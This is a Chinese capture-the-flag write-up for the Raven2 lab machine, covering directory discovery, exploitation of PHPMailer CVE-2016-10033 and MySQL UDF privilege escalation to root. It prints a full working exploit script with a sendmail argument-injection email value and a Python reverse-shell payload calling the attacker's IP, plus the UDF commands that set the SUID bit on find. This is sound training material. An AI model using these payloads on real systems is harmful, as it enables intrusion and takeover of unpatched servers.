美文网首页
CTF-Raven2-WriteUp

CTF-Raven2-WriteUp

作者: 二潘 | 来源:发表于2020-05-22 13:20 被阅读0次
知识点

1.敏感文件
2.模板漏洞
3.提权

环境

靶场
系统:Linux
任务:得到root权限&找到flag.txt
靶场IP地址:192.168.72.160
攻击机
系统:kali
地址:192.168.72.149

信息收集
image.png

对开放端口进行扫描


image.png

访问80端口,看看有没有突破口,发现80是静态页面,dirb扫目录


image.png
很多一级目录,对这些目录进行访问,在vendor/下发现目录遍历
image.png
查看path目录,获得一个flag,并且还有一个网站的绝对路径
image.png

在/vendor/VERSION发现版本号,但是不知道是什么版本号,继续查看


image.png
看到这个文件PHPMailerAutoload.php,合在一起应该是PHPMailer版本为5.2.16
在kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp,还有版本的要求
image.png
将py文件复制到根目录下,然后开始漏洞利用

简单修改一下exp:

a.顶部加上# -- coding: utf-8 --声明,否则注释里一大堆非ASCII字符会报错。

b.修改target为靶机IP地址,利用文件为contact.php。

c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。

d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。

e.运行该python脚本需要安装对应的包(pip install requests-toolbelt),如下地址下载并手动安装

https://files.pythonhosted.org/packages/86/f9/e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4/requests-toolbelt-0.8.0.tar.gz

image.png

最终修改好的poc

#!/usr/bin/python
# -*- coding: utf-8 -*-

from requests_toolbelt import MultipartEncoder

import requests

import os

import base64

from lxml import html as lh

os.system('clear')

print("\n")

print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")

print("██╔══██╗████╗██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")

print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")

print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")

print("██║██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")

print("╚═╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝")

print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")

print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.72.160/contact.php'

backdoor = '/shell.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.72.149\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'

fields={'action': 'submit',

   'name': payload,

   'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com',

   'message': 'Pwned'}

m = MultipartEncoder(fields=fields,

                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',

         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}

print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')

r = requests.post(target, data=m.to_string(),

 headers=headers)

print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')

r = requests.get(target+backdoor, headers=headers)

if r.status_code == 200:

    print('[+]ExPLoITeD ' + target)

执行exp,会看到生成了一个利用用文件contact.php

python 2.py
image.png
访问这个连接,此时就会生成后门文件shell.php
监听py中设置的端口
image.png
然后访问:http://192.168.72.160/shell.php
image.png
查看当前的权限www-data
当前目录下面有哪些文件
image.png
看到有wordpress文件,进入有没有敏感文件
cat wp-config.php
image.png
root R@v3nSecurity
查看mysql运行的权限,(可以看到mysql是以root运行,并且也显示了mysql的plugin目录)
image.png
是以root的身份运行的,可以考虑通过mysql提权。
UDF提权
python -c "import pty;pty.spawn('/bin/bash')"

然后登入mysql,交互正常,进入数据库,查看版本,和plugin目录


image.png

查看数据库版本


image.png
接着就是利用提权exp的利用了。
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o  raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so eseudf.so

自己搭建服务器,将wget http://xx.xx.xx.xx/eseudf.so下载,将其移动到/tmp目录下。进入数据库开始提权准备
搭建服务器

image.png
从服务器下载so文件
image.png

进入服务器

执行sql语句,其中dumpfile的路径要根据前面进程列出来的plugin目录(plugin-dir=/usr/lib/mysql/plugin)改动一下。

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into foo values(load_file('/tmp/eseudf.so'));
insert into foo values(load_file('/tmp/eseudf.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'eseudf.so';
create function do_system returns integer soname 'eseudf.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+-----------+----------+
| name      | ret | dl        | type     |
+-----------+-----+-----------+----------+
| do_system |   2 | eseudf.so | function |
+-----------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
mysql> exit;

最后的提权阶段


image.png
image.png
image.png

相关文章

  • CTF-Raven2-WriteUp

    知识点 1.敏感文件2.模板漏洞3.提权 环境 靶场系统:Linux任务:得到root权限&找到flag.txt靶...

网友评论

      本文标题:CTF-Raven2-WriteUp

      本文链接:https://www.haomeiwen.com/subject/diwzmhtx.html